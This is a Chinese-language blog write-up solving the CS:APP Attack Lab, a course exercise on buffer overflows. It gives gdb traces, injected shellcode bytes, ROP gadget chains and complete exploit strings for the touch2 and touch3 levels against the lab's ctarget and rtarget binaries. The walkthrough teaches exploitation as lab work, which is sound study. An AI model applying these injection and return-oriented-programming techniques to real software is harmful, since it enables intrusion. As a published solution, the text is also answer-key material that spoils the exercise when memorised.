1: x/12xg $rsp
0x55643088:     0x0000000000000000      0x0000000000000000
0x55643098:     0x0000000000000000      0x0000000000000000
0x556430a8:     0x0000000055586000      0x00000000004019e6<--- 这里是返回地址
0x556430b8:     0x0000000000000009      0x0000000000401f7d
0x556430c8:     0x0000000000000000      0xf4f4f4f4f4f4f4f4
0x556430d8:     0xf4f4f4f4f4f4f4f4      0xf4f4f4f4f4f4f4f4

可看到,0x556430a8+8 为返回地址(0x0000000000401fa8)。也即 `0x556430a8。所以生成的指令是:

movq $0x2b44369c, %rdi
movq $0x556430a8, %rsp
ret

将其保存为 snip.s,执行

[root@devmaster target346]# gcc -c snip.s

编译为了机器指令,保存在 snip.o。

查看其指令:

[root@devmaster target346]# objdump -d snip.o

snip.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 9c 36 44 2b    mov    $0x2b44369c,%rdi
   7:   48 c7 c4 a8 30 64 55    mov    $0x556430a8,%rsp
   e:   c3                      retq   

构造 exploit.txt 如下:

48 c7 c7 9c 36 44 2b 48 # 位置 A
c7 c4 a8 30 64 55 c3 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
59 18 40 00 00 00 00 00 # touch2 函数地址
88 30 64 55 00 00 00 00 # 指向位置 A。返回地址的绝对地址,注意这里不是计算出来的那个,而是断点后执行 `x/12xg $rsp` 看到的那个

最后运行成功,如下:

[root@devmaster target346]# ./ctarget -i exploit-raw.txt -q
Cookie: 0x2b44369c
Touch2!: You called touch2(0x2b44369c)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
    xxx

原理回顾

我们后来输入了这样的数据

48 c7 c7 9c 36 44 2b 48
c7 c4 a8 30 64 55 c3 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
59 18 40 00 00 00 00 00

88 30 64 55 00 00 00 00

前五行是没有溢出的那 40 bytes。getbuff 之前的栈是这样的:

| 0x00000000556430a8 <------ 正常返回地址<------ 栈顶

这个正常返回地址是哪来的呢?我们在用户输入之前去看就知道了,看来的咯~

然后申请了栈空间(注意,申请的局部变量并不会自动清零,所以里面有啥都是可能的。):

| 0x00000000556430a8 <------ 正常返回地址
| ------------------
| 0x8277e0910d750195 <------ 局部变量
| 0xb448797616e091ad
| 0x202cb962ac59075b <------ 里面的数据是随机的
| 0x964b07152d234b70
| 0x815fc88819450445 <------ 栈顶

用户输入之后:

| 0x0000000055643088 <------ 覆写的返回地址(正常地址没了!!)
| ------------------
| 0x0000000000401859 <------ 局部变量
| 0x0000000000000000
| 0x0000000000000000
| 0x00c3556430a8c4c7
| 0x482b44369cc7c748 <------ 栈顶

retq 之后(注意:虽然数据退栈了,但是不会被清空!!!):

| 0x0000000055643088 覆写的返回地址<------ 栈顶
| ------------------
| 0x0000000000401859 <------ 局部变量
| 0x0000000000000000
| 0x0000000000000000
| 0x00c3556430a8c4c7
| 0x482b44369cc7c748

于是 CPU 开始执行 0x0000000055643088 处的指令,这正是:

   0:   48 c7 c7 9c 36 44 2b    mov    $0x2b44369c,%rdi
   7:   48 c7 c4 a8 30 64 55    mov    $0x556430a8,%rsp
   e:   c3                      retq   

对应倒数第一行和倒数第二行:

| 0x00c3556430a8c4c7 <-- 再执行这里(高地址)
| 0x482b44369cc7c748 <-- 先执行这里(低地址)

0x00c3556430a8c4c7 指令的最后是 c7,代表 retq。也就是跳转到返回地址(rsp)。

而执行之后,rsp = 0x556430a8,也就是回到了正常地址 0x00000000004019e6

于是带着正确的参数(rdi)执行 touch2 函数,就通过了~

Touch 3 - Level 5

手册给出的代码如下:

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval) {
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

目标是执行 touch3,判定为有效条件的是 hexmatch(cookie, sval)。我们看看 hexmatch 是干什么的:

它在栈上申请了一个 buf 数组,然后指针指向了一个随机位置。从这个随机位置开始,将 val 以 %.8x 的格式写入。然后判断 sval 和 s 是否相同,注意,比较的是字符串,所以应该把 cookie 转为 ASCII 编码。

那么这个 %.8x 是什么意思呢?

Each conversion specification is introduced by the character %. After the %, the following appear in sequence:

  • An optional precision that gives the minimum number of digits to appear for the d, i, o, u, x, and X conversions, the number of digits to appear after the decimal-point character for a, A, e, E, f, and F conversions, [...] The precision takes the form of a period (.) followed either by an asterisk * (described later) or by an optional decimal integer; [...]

从上面的文档可知是补全位数。我们也可以写个程序试试看:

#include <stdio.h>

int main()
{
    printf("%.8x\n", 0x012345);
    printf("%.8x\n", ~0xf);
    return 0;
}

运行结果:

[root@devmaster target346]# cc test.cpp 
[root@devmaster target346]# ./a.out 
00012345
fffffff0

与预期一致。

现在感觉无从下手,因为 s 指向的栈位置是随机的。我们阅读文档:

Some advice:

  • You will need to include a string representation of your cookie in your exploit string. The string should consist of the eight hexadecimal digits (ordered from most to least significant) without a leading 0x and lowercase (e.g., if your cookie value is 0x1A7DD803 in hexadecimal, the string should be “1a7dd803”).
  • Recall that a string is represented in C as a sequence of bytes followed by a byte with value 0. Type man ascii on any Linux machine to see the byte representations of the characters you need.
  • Your injected code should set register %rdi to the address of this string representation of your magic number.
  • When functions hexmatch and strncmp are called, they push data onto the stack, overwriting portions of memory that held the buffer used by getbuf. As a result, you will need to be careful about the placement of the string representation of your magic cookie.

关注第三条:你的代码要把 rdi 置为字符串的地址。

再阅读 Attack Instructions 部分:

Attack Instructions: Return-Oriented Programming

Performing code-injection attacks on program rtarget is much more difficult than it is for ctarget, because it uses two techniques to thwart such attacks:

  • It uses randomization so that the stack positions differ from one run to another. This makes it impossible to determine where your injected code will be located.(栈指针随机)
  • It marks the section of memory holding the stack as nonexecutable, so even if you could set the program counter to the start of your injected code, the program would fail with a segmentation fault.(栈的内存被标记为不可执行,所以不能注入代码)

Fortunately, clever people have devised strategies for getting useful things done in a program by executing existing code, rather than injecting new code.(通过执行已有代码也能实现攻击) The most general form of this is referred to as return-oriented programming (ROP). The strategy of ROP is to identify byte sequences within an existing program that consist of one or more instructions followed by the instruction ret. Such a segment is called a gadget. The following figure illustrates how the stack can be set up to execute a sequence of nn gadgets.(ROP:寻找程序中一些特定的 ret 结尾的指令序列,利用这些序列进行攻击。这些序列称为 gadget。)

Return-Oriented Programming

  • The stack contains a sequence of gadget addresses.
  • Each gadget consists of a series of instruction bytes, with the final one being 0xc3 (encoding the ret instruction).
  • When the program executes a ret instruction starting with this configuration, it will initiate a chain of gadget executions, with the ret instruction at the end of each gadget causing the program to jump to the beginning of the next.

A gadget can make use of code corresponding to assembly-language statements generated by the compiler, especially ones at the ends of functions. In practice, there may be some useful gadgets of this form, but not enough to implement many important operations. For example, it is highly unlikely that a compiled function would have popq %rdi as its last instruction before ret. Fortunately, with a byte-oriented instruction set such as x86-64, a gadget can often be found by extracting patterns from other parts of the instruction byte sequence.

For example, one version of rtarget contains code generated for the following C function:

void setval_210(unsigned *p) {
*p = 3347663060U;
}

The chances of this function being useful for attacking a system seem pretty slim. But, the disassembled machine code for this function shows an interesting byte sequence:

0000000000400f15 :
400f15:    c7 07 d4 48 89 c7   movl $0xc78948d4,(%rdi)
400f1b:    c3                  retq

The byte sequence 48 89 c7 (at the end of the binary encoding of movl $0xc78948d4,(%rdi)) encodes the instruction movq %rax,%rdi.

This sequence is followed by the byte value c3, which encodes the ret instruction. The function starts at address 0x400f15, and the sequence starts on the fourth byte of the function. Thus, this code contains a gadget, having a starting address of 0x400f18, that will copy the 64-bit value in register %rax to register %rdi.

Your code for rtarget contains a number of functions similar to the setval_210 function shown above in a region we refer to as the gadget farm. Your job will be to identify useful gadgets in the gadget farm and use these to perform attacks similar to those you did in Levels 2 and 3.

上面是说,有些立即数如果从半中间读取,可以被看做是指令。比如 c7 07 d4 48 89 c7,其中的 48, 89, c7 可以看作指令 movq %rax, %rdi。执行完接着执行 c3,即返回。这样我们相当于注入了这样的代码:

movq %rax, %rdi
ret

Important: The gadget farm is demarcated by functions start_farm and end_farm in your copy of rtarget. Do not attempt to construct gadgets from other portions of the program code.

下面是文档提供的一个参考表:

image-20201212193652605

有了这个表,我们就可以根据想要的指令去反汇编代码里面寻找 gadgets。

先反汇编:

[root@devmaster target346]# objdump -d rtarget > rtarget.s

其中的 farm 部分如下:

0000000000401a01 <start_farm>:
  401a01:   b8 01 00 00 00          mov    $0x1,%eax
  401a06:   c3                      retq   

...

0000000000401b1f <end_farm>:
  401b1f:   b8 01 00 00 00          mov    $0x1,%eax
  401b24:   c3                      retq   

在看 hexmatch 的代码:

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

其实就是比较 cookie(rdi) 和 sval ,只不过加了一些迷惑人的手段。

其中的 cookie 是程序自己知道的,而 sval 是 touch3 的第一个参数(rdi),所以我们需要把 cookie 的值复制到 rdi 当中。即:

movq cookie, %rdi

但是!哪儿有这么好的事,我们找不到可以利用的恰好包含 cookie 的代码。

回顾前面的参考表,movq %rax, %rdi 的二进制指令是 48 89 c7。直接搜索反汇编代码,可以找到:

image-20201212205529992

也就是,把 0x401a15 + 3 = 0x401a18(为什么是 +3,因为要跳过上面黄框左边的三个字节)推入栈中作为返回地址,则将会执行它,实现 rax=>rdi 的功能。我们只需要在 rax 中放上 cookie 的地址

但是我们没有现成的 cookie 地址。能想到的方法是:把 cookie 的 ascii 值写到栈上,然后把 rsp+offset 赋予 rdi。可以分解为以下步骤:

  1. mov rsp=>rax
  2. add offset=>rax
  3. mov rax=>rdi

我们可以在 gadget farm 上面挖掘到一些有用的片段:

查表可知 popq rax58。搜索 58 c3

image-20201212205501464

这个的地址是 0x401a07 + 4 = 0x401a0b,作用是 pop %rax

下面这个是 movq, %rsp, %rax

image-20201212234554129

也就是说我们有这些:

46 1a 40 00 00 00 00 00        add    $0x37, %al
18 1a 40 00 00 00 00 00        mov    %rax,%rdi
5d 1a 40 00 00 00 00 00        mov    %rsp, %rax
6a 19 40 00 00 00 00 00        touch 3

攻击字符串的构成思路 :

aa aa aa aa aa aa aa aa 
aa aa aa aa aa aa aa aa 
aa aa aa aa aa aa aa aa 
aa aa aa aa aa aa aa aa 
aa aa aa aa aa aa aa aa      # 凑数 0x28 字节
5d 1a 40 00 00 00 00 00      # mov    %rsp, %rax
46 1a 40 00 00 00 00 00      # add    $0x37, %al
18 1a 40 00 00 00 00 00      # mov    %rax,%rdi
6a 19 40 00 00 00 00 00      # touch 3
1b bb bb bb bb bb bb bb
2b bb bb bb bb bb bb bb
3b bb bb bb bb bb bb bb
4b bb bb bb bb bb 00 32      # 此处是 Cookie 的 ASCII 码
62 34 34 33 36 39 63 00
6b bb bb bb bb bb bb bb
7b bb bb bb bb bb bb bb

上面这个 touch3 真的做了好久好久。

Touch 3 - Level 3

草,发现我直接做了第五个实验,怪不得这么难!!!

这里是面向 ctarget仍然可以用注入。注入的代码是:

movq cookieAddr, %rdi
movq touch3Addr, %rsp # 修改返回地址为 touch 2 地址
ret

为了得到 cookieAddr,我们把 cookie 存放到 rsp+offset 的地方:

mov %rsp, %rax
add $0x38, %al
mov %rax, %rdi
movq 0x40196a, %rsp # touch3Addr = 0x40196a
ret

编译后得到:

0000000000000000 <.text>:
   0:   48 89 e0                mov    %rsp,%rax
   3:   04 38                   add    $0x38,%al
   5:   48 89 c7                mov    %rax,%rdi
   8:   48 c7 04 24 6a 19 40    movq   $0x40196a,(%rsp)
   f:   00 
  10:   c3                      retq
48 89 e0 04 38 48 89 c7
48 c7 04 24 6a 19 40 00
c3 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

88 30 64 55 00 00 00 00
00 00 00 00 00 00 00 00      # add    $0x37, %al
00 00 00 00 00 00 00 00      # mov    %rax,%rdi
00 00 00 00 00 00 00 00      # touch 3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 32      # 此处是 Cookie 的 ASCII 码
62 34 34 33 36 39 63 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
[root@devmaster target346]# gdb ctarget
GNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-119.el7
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/tmp/target346/ctarget...done.
(gdb) set args -q -i exploit-raw.txt
(gdb) display /6gx $rsp
(gdb) display /2i $rip
(gdb) b *0x401823
Breakpoint 1 at 0x401823: file buf.c, line 16.
(gdb) 

结果:

Continuing.
Touch3!: You called touch3("2b44369c")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id (学号)
        course  f20
        lab     attacklab
        result  346:PASS:0xffffffff

Touch 2 - Level 4

touch2 就简单很多,传值即可,不必传引用。不过栈随机化了,所以只能利用 gadget 农场来攻击。

思路:

mov $0x2b44369c, %rdi

当然,不可能有现成的 gadget,分解步骤:

  1. 先将 cookie 放到栈中。

  2. 通过 rsp+0x37 计算 cookie 的地址,并放到 rdi

mov  %rsp, %rax # 利用 5d 1a 40 00 00 00 00 00
add  $0x37, %al # 利用 46 1a 40 00 00 00 00 00
mov  (%rax), %rdi # 还没有现成的 gadet
call touch2     #      59 18 40 00 00 00 00 00

有个问题,如果是 mov %rax, %rdi 的话,我们还可以利用 18 1a 40 00 00 00 00 00 。但是这题不需要传递地址了,要直接传值。我们通过 gcc -c 编码 mov (%rax), %rdi 得到:

0000000000000000 <.text>:
   0:   48 8b 38                mov    (%rax),%rdi

rtarget 的汇编文件中搜索 48 8b 38,一无所获。所以这条路是走不通了。

回忆,pop %rax 的作用相当于 mov (rsp), %rax; add $0x8, %rsp

所以我们可以把 cookie 放在当前 rsp 位置,然后 pop 到 rax 里,再把 rax 里的数据传递到 rdi:

pop %rax
mov %rax, %rdi

pop 的 gadget 已经在 0x401a0b 找到过了。

构造攻击字符串:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

0b 1a 40 00 00 00 00 00 # mov (rsp), %rax; add $0x8, %rsp
9c 36 44 2b 00 00 00 00 # cookie
18 1a 40 00 00 00 00 00 # mov %rax, %rdi
59 18 40 00 00 00 00 00 # call touch2
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 9c # 无关数据
36 44 2b 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

参考资料

GDB 命令快速查阅:https://blog.csdn.net/pandafxp/article/details/47070793

gdb x 命令详解:https://blog.csdn.net/renlonggg/article/details/73550306

Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal),t(binary), f(float), a(address), i(instruction), c(char) and s(string).

Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes).

gdb相关(栈和寄存器):https://blog.csdn.net/liweigao01/article/details/90048323

更改函数的返回地址:https://www.cnblogs.com/bluesea147/archive/2012/05/19/2508208.html

What and where are the stack and heap?:https://stackoverflow.com/questions/79923/what-and-where-are-the-stack-and-heap

深入理解计算机系统(CS:APP) - Attack Lab详解 https://www.jianshu.com/p/d7a118e3c29d

centos7配置IP地址:https://www.cnblogs.com/yhongji/p/9336247.html

Linux Centos7网络配置无法ping通外网、内网以及网关:https://blog.csdn.net/delight_sl/article/details/91358832

CSAPP又双叒叕来一遍之函数调用过程栈帧的变化:https://www.dazhuanlan.com/2019/12/07/5deb17adf07c3/

发表评论

电子邮件地址不会被公开。 必填项已用*标注